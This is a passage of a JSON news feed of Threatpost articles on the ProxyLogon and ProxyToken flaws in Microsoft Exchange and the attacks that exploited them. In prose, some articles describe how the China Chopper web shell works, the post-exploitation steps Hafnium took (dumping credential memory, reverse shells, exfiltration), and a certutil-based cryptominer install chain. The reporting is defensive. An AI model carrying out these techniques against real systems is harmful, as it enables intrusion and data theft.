\u201cMicrosoft had planned to release its security fixes two weeks later, on March 9, but after the second wave began it pushed out the patches a week early, on March 2, according to researchers.\u201d\n\n## **Microsoft Mitigation Tool**\n\nMicrosoft has released an Exchange On-premises Mitigation Tool (EOMT) tool to help smaller businesses without dedicated security teams to protect themselves.\n\n\u201cMicrosoft has released a new, [one-click mitigation tool](<https://aka.ms/eomt>), Microsoft Exchange On-Premises Mitigation Tool to help customers who do not have dedicated security or IT teams to apply these security updates. We have tested this tool across Exchange Server 2013, 2016, and 2019 deployments,\u201d according to a [post](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) published by Microsoft. \u201cThis new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.\u201d\n\nMicrosoft said that the tool will mitigate against exploits for the initial-access bug CVE-2021-26855 via a URL rewrite configuration, and will also scan the server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) to identify any existing compromises. Then, it will remediate those.\n\n## **China Chopper Back on the Workbench**\n\nAmid this flurry of activity, more is becoming known about how the attacks work. For instance, the APT Hafnium first flagged by Hafnium is uploading the well-known China Chopper web shell to victim machines.\n\nThat\u2019s according to [an analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) from Trustwave SpiderLabs, which found that China Chopper is specifically being uploaded to compromised Microsoft Exchange servers with a publicly facing Internet Information Services (IIS) web server.\n\nChina Chopper is an Active Server Page Extended (ASPX) web shell that is typically planted on an IIS or Apache server through an exploit. Once established, the backdoor \u2014 which [hasn\u2019t been altered much](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) since its inception nearly a decade ago \u2014 allows adversaries to execute various commands on the server, drop malware and more.\n\n\u201cWhile the China Chopper web shell has been around for years, we decided to dig even deeper into how the China Chopper web shell works as well as how the ASP.NET runtime serves these web shells,\u201d according to Trustwave. \u201cThe China Chopper server-side ASPX web shell is [extremely small](<https://threatpost.com/fin7-active-exploits-sharepoint/144628/>) and typically, the entire thing is just one line.\u201d\n\nHafnium is using the JScript version of the web shell, researchers added.\n\n\u201cThe script is essentially a page where when an HTTP POST request is made to the page, and the script will call the JScript \u2018eval\u2019 function to execute the string inside a given POST request variable,\u201d researchers explained. \u201cIn the\u2026script, the POST request variable is named \u2018secret,\u2019 meaning any JScript contained in the \u2018secret\u2019 variable will be executed on the server.\u201d\n\nResearchers added that typically, a China Chopper client component in the form of a C binary file is used on the attacker\u2019s systems.\n\n\u201cThis client allows the attacker to perform many nefarious tasks such as downloading and uploading files, running a virtual terminal to execute anything you normally could using cmd.exe, modifying file times, executing custom JScript, file browsing and more,\u201d explained Trustwave researchers. \u201cAll this is made available just from the one line of code running on the server.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly** ([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-16T16:56:26", "type": "threatpost", "title": "Exchange Cyberattacks Escalate as Microsoft Rolls One-Click Fix", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T16:56:26", "id": "THREATPOST:A4C1190B664DAE144A62459611AC5F4A", "href": "https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-26T19:00:10", "description": "The patching level for Microsoft Exchange Servers that are vulnerable to the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) has reached 92 percent, according to Microsoft.\n\nThe computing giant [tweeted out the stat](<https://twitter.com/msftsecresponse/status/1374075310195412992>) earlier this week \u2013 though of course patching won\u2019t fix already-compromised machines. Still, that\u2019s an improvement of 43 percent just since last week, Microsoft pointed out (using telemetry from RiskIQ).\n\n> Our work continues, but we are seeing strong momentum for on-premises Exchange Server updates: \n\u2022 92% of worldwide Exchange IPs are now patched or mitigated. \n\u2022 43% improvement worldwide in the last week. [pic.twitter.com/YhgpnMdlOX](<https://t.co/YhgpnMdlOX>)\n> \n> \u2014 Security Response (@msftsecresponse) [March 22, 2021](<https://twitter.com/msftsecresponse/status/1374075310195412992?ref_src=twsrc%5Etfw>)\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe good news on patching comes as a whirlwind of ProxyLogon cyberattacks has hit companies across the globe, with multiple advanced persistent threats (APT) and possibly other adversaries moving quickly to exploit the bug. A spate of public proof-of-concept exploits has added fuel to the fire \u2013 which is blazing so bright that F-Secure said on Sunday that hacks are occurring \u201cfaster than we can count,\u201d with tens of thousands of machines compromised.\n\n\u201cTo make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server,\u201d according to [F-Secure\u2019s writeup](<https://blog.f-secure.com/microsoft-exchange-proxylogon/>). \u201cThere is even a fully functioning package for exploiting the vulnerability chain published to the Metasploit application, which is commonly used for both hacking- and security testing. This free-for-all attack opportunity is now being exploited by vast numbers of criminal gangs, state-backed threat actors and opportunistic script kiddies.\u201d\n\nThe attackers are using ProxyLogon to carry out a range of attacks, including data theft and the installation of malware, such as the recently discovered \u201cBlackKingdom\u201d strain. According to Sophos, the ransomware operators are asking for $10,000 in Bitcoin in exchange for an encryption key.\n\n## **Patching Remains Tough for Many**\n\nThe CyberNews investigation team [found](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>) 62,174 potentially vulnerable unpatched Microsoft Exchange Servers around the world, as of Wednesday.\n\n\n\nClick to enlarge. Source: CyberNews.\n\nVictor Wieczorek, practice director for Threat & Attack Simulation at GuidePoint Security, noted that some organizations are not structured or resourced to patch effectively against ProxyLogon.\n\n\u201cThis is because, 1) a lack of accurate asset inventory and ownership information; and 2) lag time to vet patching for negative impacts on the business and gain approval from asset/business owners to patch,\u201d he told Threatpost. \u201cIf you don\u2019t have an accurate inventory with a high level of confidence, it takes a long time to hunt down affected systems. You have to determine who owns them and if applying the patch would negatively impact the system\u2019s function. Responsible and timely patching takes lots of proactive planning and tracking.\u201d\n\nHe added that by regularly testing existing controls (red-teaming), searching for indicators of existing weakness and active threats (threat hunting), and investing/correcting confirmed vulnerabilities (vulnerability management), organizations are going to be in a much better spot to adjust to emerging vulnerabilities and invoke their incident-response capabilities when needed.\n\n## **APT Activity Continues**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access. It\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said earlier in March](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nThe APTs seem mainly bent on cyberespionage and data theft, researchers said.\n\n\u201cThese breaches could be occurring in the background, completely unnoticed. Only after months or years will it become clear what was stolen,\u201d according to F-Secure. \u201cIf an attacker knows what they are doing, the data has most likely already been stolen or is being stolen right now.\u201d\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **Patching is Not Enough; Assume Compromise**\n\nUnfortunately, installing the ProxyLogon security patches alone does not guarantee that a server is secure \u2013 an attacker may have breached it before the update was installed.\n\n\u201cPatching is like closing a door. Therefore, 92 percent of the doors have been closed. But the doors were open for a relatively long time and known to all the bad actors,\u201d Oliver Tavakoli, CTO at Vectra, told Threatpost. \u201cIdentifying and remediating already compromised systems will be a lot harder.\u201d\n\nBrandon Wales, the acting director for the Cybersecurity and Infrastructure Security Agency (CISA), said during a webinar this week that \u201cpatching is not sufficient.\u201d\n\n\u201cWe know that multiple adversaries have compromised networks prior to patches being applied Wales said during a [Cipher Brief webinar](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>). He added, \u201cYou should not have a false sense of security. You should fully understand the risk. In this case, how to identify whether your system is already compromised, how to remediate it, and whether you should bring in a third party if you are not capable of doing that.\u201d\n\n## **How Businesses Can Protect Against ProxyLogon**\n\nYonatan Amitay, Security Researcher at Vulcan Cyber, told Threatpost that a successful response to mitigate Microsoft Exchange vulnerabilities should consist of the following steps:\n\n * Deploy updates to affected Exchange Servers.\n * Investigate for exploitation or indicators of persistence.\n * Remediate any identified exploitation or persistence and investigate your environment for indicators of lateral movement or further compromise.\n\n\u201cIf for some reason you cannot update your Exchange servers immediately, Microsoft has released instructions for how to mitigate these vulnerabilities through reconfiguration \u2014 here, as they recognize that applying the latest patches to Exchange servers may take time and planning, especially if organizations are not on recent versions and/or associated cumulative and security patches,\u201d he said. \u201cNote that the mitigations suggested are not substitutes for installing the updates.\u201d\n\nMicrosoft also has issued a one-click mitigation and remediation tool for small- and medium-sized businesses in light of the ongoing swells of attacks.\n\nVectra\u2019s Tavakoli noted that the mitigation guides and tools Microsoft has supplied don\u2019t necessarily help post-compromise \u2013 they are intended to provide mitigation in advance of fully patching the Exchange server.\n\n\u201cThe end result of a compromise is reflective of the M.O. of each attack group, and that will be far more variable and less amenable to automated cleanup,\u201d he said.\n\nMilan Patel, global head of MSS for BlueVoyant, said that identifying follow-on malicious activity after the bad guys have gotten access to a network requires a good inventory of where data is housed.\n\n\u201cIncident response is a critical reactive tool that will help address what data could have been touched or stolen by the bad guys after they gained access to the critical systems,\u201d he told Threatpost. \u201cThis is critical, this could mean the difference between a small cleanup effort vs. potential litigation because sensitive data was stolen from the network.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-24T18:39:26", "type": "threatpost", "title": "Microsoft Exchange Servers See ProxyLogon Patching Frenzy", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-24T18:39:26", "id": "THREATPOST:BADA213290027D414693E838771F8645", "href": "https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-15T12:28:24", "description": "Cryptojacking can be added to the list of threats that face any [unpatched Exchange servers](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) that remain vulnerable to the now-infamous ProxyLogon exploit, new research has found.\n\nResearchers discovered the threat actors using Exchange servers compromised using the highly publicized exploit chain\u2014which suffered a [barrage of attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) from advanced persistent threat (APT) groups to infect systems with everything from [ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) to webshells\u2014to host Monero cryptomining malware, according to [a report](<https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/>) posted online this week by SophosLabs.\n\n\u201cAn unknown attacker has been attempting to leverage what\u2019s now known as the ProxyLogon exploit to foist a malicious Monero cryptominer onto Exchange servers, with the payload being hosted on a compromised Exchange server,\u201d Sophos principal researcher Andrew Brandt wrote in the report. \n[](<https://threatpost.com/newsletter-sign/>)\n\nResearchers were inspecting telemetry when they discovered what they deemed an \u201cunusual attack\u201d targeting the customer\u2019s Exchange server. Sophos researchers Fraser Howard and Simon Porter were instrumental in the discovery and analysis of the novel threat, Brandt acknowledged.\n\nResearchers said they detected the executables associated with this attack as Mal/Inject-GV and XMR-Stak Miner (PUA), according to the report. Researchers published a list of [indicators of compromise](<https://github.com/sophoslabs/IoCs/blob/master/PUA-QuickCPU_xmr-stak.csv>) on the SophosLabs GitHub page to help organizations recognize if they\u2019ve been attacked in this way.\n\n## **How It Works**\n\nThe attack as observed by researchers began with a PowerShell command to retrieve a file named win_r.zip from another compromised server\u2019s Outlook Web Access logon path (/owa/auth), according to the report. Under closer inspection, the .zip file was not a compressed archive at all but a batch script that then invoked the built-into-Windows certutil.exe program to download two additional files, win_s.zip and win_d.zip, which also were not compressed.\n\nThe first file is written out to the filesystem as QuickCPU.b64, an executable payload in base64 that can be decoded by the certutil application, which by design can decode base64-encoded security certificates, researchers observed.\n\nThe batch script then runs another command that outputs the decoded executable into the same directory. Once decoded, the batch script runs the executable, which extracts the miner and configuration data from the QuickCPU.dat file, injects it into a system process, and then deletes any evidence that it was there, according to the report.\n\nThe executable in the attack appears to contain a modified version of a tool publicly available on Github called PEx64-Injector, which is [described](<https://github.com/0xyg3n/PEx64-Injector>) on its Github page as having the ability to \u201cmigrate any x64 exe to any x64 process\u201d with \u201cno administrator privileges required,\u201d according to the report.\n\nOnce the file runs on an infected system, it extracts the contents of the QuickCPU.dat file, which includes an installer for the cryptominer and its configuration temporarily to the filesystem. It then configures the miner, injects it into a running process, then quits, according to the report. \u201cThe batch file then deletes the evidence and the miner remains running in memory, injected into a process already running on the system,\u201d Brandt wrote.\n\nResearchers observed the cryptominer receiving funds on March 9, which is when Microsoft also released updates to Exchange to patch the flaws. Though the attacker lost several servers after this date and the output from the miner decreased, other servers that were gained thereafter more than made up for the early losses, according to the report.\n\n## **Exploit-Chain History**\n\nThe ProxyLogon problem started for Microsoft in early March when the company said it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. The exploit chain is comprised of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065).\n\nTogether the flaws created a pre-authentication remote code execution (RCE) exploit, meaning attackers can take over servers without knowing any valid account credentials. This gave them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAs previously mentioned, Microsoft released an out-of-band update [soon after](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in its scramble to patch the flaws in the ProxyLogon chain; however, while the company boasted later that month that 92 percent of affected machines already had been patched, much damage had already been done, and unpatched systems likely exist that remain vulnerable.\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-15T12:19:13", "type": "threatpost", "title": "Attackers Target ProxyLogon Exploit to Install Cryptojacker", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-15T12:19:13", "id": "THREATPOST:B787E57D67AB2F76B899BCC525FF6870", "href": "https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-03T22:09:32", "description": "Microsoft has spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are \u201climited and targeted,\u201d according to Microsoft, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) this week. The exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nHowever, other researchers [have reported](<https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers/>) seeing the activity compromising mass swathes of victim organizations.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe culprit is believed to be an advanced persistent threat (APT) group known as Hafnium (also the name of a chemical element), which has a history of targeting assets in the United States with cyber-espionage campaigns. Targets in the past have included defense contractors, infectious disease researchers, law firms, non-governmental organizations (NGOs), policy think tanks and universities.\n\n\u201cMicrosoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to Hafnium, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures,\u201d according to [an announcement](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) this week from Microsoft on the attacks.\n\n## **Zero-Day Security Bugs in Exchange Server**\n\n\u201cThe fact that Microsoft chose to patch these flaws out-of-band rather than include them as part of next week\u2019s [Patch Tuesday](<https://threatpost.com/exploited-windows-kernel-bug-takeover/163800/>) release leads us to believe the flaws are quite severe even if we don\u2019t know the full scope of those attacks,\u201d Satnam Narang, staff research engineer at Tenable, said via email.\n\nMicrosoft patched following bugs this week, and admins should update accordingly:\n\n * **CVE-2021-26855** is a server-side request forgery (SSRF) vulnerability that allows authentication bypass: A remote attacker can simply send arbitrary HTTP requests to the Exchange server and be able to authenticate to it. From there, an attacker can steal the full contents of multiple user mailboxes.\n * **CVE-2021-26857** is an insecure-deserialization vulnerability in the Unified Messaging service, where untrusted user-controllable data is deserialized by a program. An exploit allows remote attackers with administrator permissions to run code as SYSTEM on the Exchange server.\n * **CVE-2021-26858** and **CVE-2021-27065** are both post-authentication arbitrary file-write vulnerabilities in Exchange. Once authenticated with an Exchange server (using CVE-2021-26855 or with compromised admin credentials), an attacker could write a file to any path on the server \u2013 thus achieving remote code execution (RCE).\n\nResearchers at Volexity originally uncovered the SSRF bug as part of an incident response and noted, \u201cThis vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. The attacker only needs to know the server running Exchange and the account from which they want to extract email.\u201d\n\nThey also observed the SSRF bug being chained with CVE-2021-27065 to accomplish RCE in multiple attacks.\n\nIn addition to Volexity, Microsoft credited security researchers at Dubex with uncovering the recent activity, which was first observed in January.\n\n\u201cBased on what we know so far, exploitation of one of the four vulnerabilities requires no authentication whatsoever and can be used to potentially download messages from a targeted user\u2019s mailbox,\u201d said Tenable\u2019s Narang. \u201cThe other vulnerabilities can be chained together by a determined threat actor to facilitate a further compromise of the targeted organization\u2019s network.\u201d\n\n## **What Happened in the Hafnium Attacks?**\n\nIn the observed campaigns, the four zero-day bugs were used to gain initial access to targeted Exchange servers and achieve RCE. Hafnium operators then deployed web shells on the compromised servers, which were used to steal data and expand the attack, according to researchers.\n\n\u201cIn all cases of RCE, Volexity has observed the attacker writing webshells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT) and move laterally to other systems and environments,\u201d according to [Volexity\u2019s writeup](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>).\n\nFollowing web shell deployment, Microsoft found that Hafnium operators performed a range of post-exploitation activity:\n\n * Using Procdump to dump the LSASS process memory;\n * Using 7-Zip to compress stolen data into ZIP files for exfiltration;\n * Adding and using Exchange PowerShell snap-ins to export mailbox data;\n * Using the Nishang Invoke-PowerShellTcpOneLine reverse shell;\n * And downloading PowerCat from GitHub, then using it to open a connection to a remote server.\n\nThe attackers were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users, according to the analysis.\n\n\u201cThe good news for defenders is that the post-exploitation activity is very detectable,\u201d said Katie Nickels, director of intelligence at Red Canary, via email, adding her firm has detected numerous attacks as well. \u201cSome of the activity we observed uses [the China Chopper web shell](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), which has been around for more than eight years, giving defenders ample time to develop detection logic for it.\u201d\n\n## **Who is the Hafnium APT?**\n\nHafnium has been tracked by Microsoft before, but the company has [only just released a few details](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>) on the APT.\n\nIn terms of its tactics, \u201cHafnium has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control,\u201d according to Microsoft. \u201cOnce they\u2019ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.\u201d\n\nHafnium operates primarily from leased virtual private servers in the United States, and primarily goes after U.S. targets, but is linked to the Chinese government, according to Microsoft. It characterizes the APT as \u201ca highly skilled and sophisticated actor.\u201d\n\n## **Time to Patch: Expect More Attacks Soon**\n\nIt should be noted that other researchers say they have seen these vulnerabilities being exploited by different threat actors targeting other regions, according to Narang.\n\n\u201cWe expect other threat actors to begin leveraging these vulnerabilities in the coming days and weeks, which is why it is critically important for organizations that use Exchange Server to apply these patches immediately,\u201d he added.\n\nAnd indeed, researchers at Huntress said they have discovered more than 100 web shells deployed across roughly 1,500 vulnerable servers (with antivirus and endpoint detection/recovery installed) and expect this number to keep rising.\n\nThey\u2019re not alone.\n\n\u201cFireEye has observed these vulnerabilities being exploited in the wild and we are actively working with several impacted organizations,\u201d Charles Carmakal, senior vice president and CTO at FireEye Mandiant, said via email. \u201cIn addition to patching as soon as possible, we recommend organizations also review their systems for evidence of exploitation that may have occurred prior to the deployment of the patches.\u201d\n", "cvss3": {}, "published": "2021-03-03T15:30:52", "type": "threatpost", "title": "Microsoft Exchange 0-Day Attackers Spy on U.S. Targets", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T15:30:52", "id": "THREATPOST:247CA39D4B32438A13F266F3A1DED10E", "href": "https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-08-30T18:54:34", "description": "A serious security vulnerability in Microsoft Exchange Server that researchers have dubbed ProxyToken could allow an unauthenticated attacker to access and steal emails from a target\u2019s mailbox.\n\nMicrosoft Exchange uses two websites; one, the front end, is what users connect to in order to access email. The second is a back-end site that handles the authentication function.\n\n\u201cThe front-end website is mostly just a proxy to the back end. To allow access that requires forms authentication, the front end serves pages such as /owa/auth/logon.aspx,\u201d according to a [Monday posting](<https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server>) on the bug from Trend Micro\u2019s Zero Day Initiative. \u201cFor all post-authentication requests, the front end\u2019s main role is to repackage the requests and proxy them to corresponding endpoints on the Exchange Back End site. It then collects the responses from the back end and forwards them to the client.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe issue arises specifically in a feature called \u201cDelegated Authentication,\u201d where the front end passes authentication requests directly to the back end. These requests contain a SecurityToken cookie that identify them; i.e., if the front end finds a non-empty cookie named SecurityToken, it delegates authentication to the back end. However, Exchange has to be specifically configured to have the back end perform the authentication checks; in a default configuration, the module responsible for that (the \u201cDelegatedAuthModule\u201d) isn\u2019t loaded.\n\n\u201cWhen the front end sees the SecurityToken cookie, it knows that the back end alone is responsible for authenticating this request,\u201d according to ZDI. \u201cMeanwhile, the back end is completely unaware that it needs to authenticate some incoming requests based upon the SecurityToken cookie, since the DelegatedAuthModule is not loaded in installations that have not been configured to use the special delegated authentication feature. The net result is that requests can sail through, without being subjected to authentication on either the front or back end.\u201d\n\nFrom there, attacker could install a forwarding rule allowing them to read the victim\u2019s incoming mail.\n\n\u201cWith this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users,\u201d according to the post. \u201cAs an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker.\u201d\n\nZDI outlined an exploitation scenario wherein an attacker has an account on the same Exchange server as the victim. However, if an administrator permits forwarding rules having arbitrary internet destinations, no Exchange credentials are needed at all, researchers noted.\n\nThe bug ([CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>)) was reported to the Zero Day Initiative by researcher Le Xuan Tuyen of VNPT ISC, and it was patched by Microsoft in the July Exchange cumulative updates. Organizations should update their products to avoid compromise.\n\nThe ProxyToken revelation comes after [the disclosure of](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) ProxyLogon in early March; that\u2019s an exploit chain comprised of four Exchange flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065), which together create a pre-authentication remote code execution (RCE) exploit. Attackers can take over unpatched servers without knowing any valid account credentials, giving them access to email communications and the opportunity to install a web shell for further exploitation within the environment. ProxyLogon was weaponized in [wide-scale attacks](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) throughout the spring.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-30T17:31:06", "type": "threatpost", "title": "Microsoft Exchange 'ProxyToken' Bug Allows Email Snooping", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-33766"], "modified": "2021-08-30T17:31:06", "id": "THREATPOST:9AF5E0BBCEF3F8F871ED50F3A8A604A9", "href": "https://threatpost.com/microsoft-exchange-proxytoken-email/169030/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-11T06:29:15", "description": "The Lemon Duck cryptocurrency-mining botnet has added the [ProxyLogon group of exploits](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) to its bag of tricks, targeting Microsoft Exchange servers.\n\nThat\u2019s according to researchers at Cisco Talos, who said that the cybercrime group behind Lemon Duck has also added the Cobalt Strike attack framework into its malware toolkit and has beefed up anti-detection capabilities. On the latter front, it\u2019s using fake domains on East Asian top-level domains (TLDs) to hide command-and-control (C2) infrastructure.\n\n[](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\n\nJoin Threatpost for \u201c[Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\u201d a LIVE roundtable event on Wednesday, May 12 at 2:00 PM EDT for this FREE webinar sponsored by Zoho ManageEngine.\n\nLemon Duck targets victims\u2019 computer resources to mine the Monero virtual currency, with self-propagating capabilities and a modular framework that allows it to infect additional systems that become part of the botnet. It has been active since at least the end of December 2018, and Cisco Talos calls it \u201cone of the more complex\u201d mining botnets, with several interesting tricks up its sleeve.\n\nFor instance, Lemon Duck has at least 12 different initial-infection vectors \u2013 more than most malware, with Proxylogon exploits only the latest addition. Its existing capabilities ranged from Server Message Block (SMB) and Remote Desktop Protocol (RDP) password brute-forcing; targeting the RDP BlueKeep flaw (CVE-2019-0708) in Windows machines; [targeting internet-of-things devices](<https://threatpost.com/lemon-duck-malware-targets-iot/152596/>) with weak or default passwords; and exploiting vulnerabilities in Redis (an open-source, in-memory data structure store used as a database, cache and message broker) and YARN Hadoop (a 